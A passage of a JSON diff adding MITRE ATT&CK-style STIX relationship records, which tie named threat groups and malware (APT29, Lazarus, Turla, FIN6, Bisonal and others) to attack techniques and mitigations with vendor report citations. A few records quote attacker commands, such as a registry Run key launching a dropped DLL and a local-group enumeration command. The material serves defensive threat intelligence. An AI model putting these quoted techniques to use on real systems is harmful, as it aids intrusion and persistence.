[HAMMERTOSS](https://attack.mitre.org/software/S0037) binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7420523-7dc0-4118-a075-93f9c0268627", + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\u201dvert\u201d = \u201crundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez\u201d.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9088b52e-8e07-4fd4-ac80-66df7f877adf", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Briba](https://attack.mitre.org/software/S0204) creates run key Registry entries pointing to malicious DLLs dropped to disk.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ae71a39-4f64-4d64-ad3f-885ae7a5c613", + "external_references": [ + { + "source_name": "Symantec Briba May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:30:35.508Z", + "type": "relationship", + "id": "relationship--8d7c04bb-ed5b-4339-a115-62089ea6711b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing screen captures.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c784f835-5d15-4fc6-a7ad-88d1a9050159", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:17:52.146Z", + "type": "relationship", + "id": "relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has used RAR to compress files before moving them outside of the victim network.", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.713Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to list local groups: net localgroup administrator >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.086Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.429Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has a tool called CANDYKING to capture a screenshot of user's desktop.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45cd89d8-68fd-42a2-94ba-7796a696bc47", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.715Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used code-signing certificates on its malware that are either forged due to weak keys or stolen. [Darkhotel](https://attack.mitre.org/groups/G0012) has also stolen certificates and signed backdoors and downloaders with them.", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b69424ec-3af6-44aa-842a-81fba219b9f4", + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + }, + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:51.954Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used sticky-keys to obtain unauthenticated, privileged console access.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "source_name": "FireEye APT29 Domain Fronting", + "description": "Dunwoody, M. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved March 27, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" + } + ], + "modified": "2019-07-25T14:25:53.096Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:01:20.688Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c812537-dfaf-40da-a71b-a49c18870b77", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:23:00.930Z", + "type": "relationship", + "id": "relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--e0703d4f-3972-424a-8277-84004817e024", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:29:02.451Z", + "type": "relationship", + "id": "relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is capable of taking screenshots.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--147d2e66-25de-42ea-8592-eb51333f595c", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.596Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:02:49.012Z", + "type": "relationship", + "id": "relationship--68936ca4-6cf3-4b81-b1e8-17c28c2fb9ef", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--dbf0186e-722d-4a0a-af6a-b3460f162f84", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) VBA Macro sets its file attributes to System and Hidden.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2426519f-c915-4c8f-8164-0d93dbbf0be1", + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.202Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:31:55.476Z", + "type": "relationship", + "id": "relationship--620ab17a-3e46-4083-82b0-aeff74d104cd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a module to receive a notification every time a USB mass storage device is inserted into a victim.", + "type": "relationship", + "created": "2017-05-31T21:33:27.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-07-27T00:09:35.629Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:28:40.651Z", + "type": "relationship", + "id": "relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of remotely deleting files from victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9bc7666-f637-4093-a5bb-4edb61710e45", + "external_references": [ + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "modified": "2019-07-25T17:52:06.552Z", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) payloads download additional files from the C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da734f6c-de0d-44f1-9521-6607b800ad43", + "external_references": [ + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.681Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "TRINITY malware used by [FIN6](https://attack.mitre.org/groups/G0037) encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the 0xAA key.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c78e3a7-45c5-454f-8905-a831fbede841", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.555Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has tunneled RDP backdoors over port 443.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9da92f82-172d-4375-9bcd-f148bfe13418", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.582Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:28:38.499Z", + "type": "relationship", + "id": "relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:30:29.569Z", + "type": "relationship", + "id": "relationship--3d635b23-78b7-4de4-9417-8077787c7c0b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.912Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de979692-5ca5-4874-bfc8-91cea8697ef1", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) scanned network services to search for vulnerabilities in the victim system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4258ffdf-ecdb-465d-af16-bda97062ab7f", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.363Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample performs reflective DLL injection.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c055d228-a0e6-4b76-961a-1eebe99679f5", + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.241Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-03T16:42:19.239Z", + "type": "relationship", + "created": "2018-01-16T18:59:16.545Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6dbb3a1e-5fb4-4494-950c-570616302ece", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the reg query command. [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:44.729Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:55:13.760Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0094ba8-a513-49bf-a5d7-961aaab13380", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "relationship_type": "uses", + "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the \u201cattachedTemplate\u201d technique to load a template from a remote server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 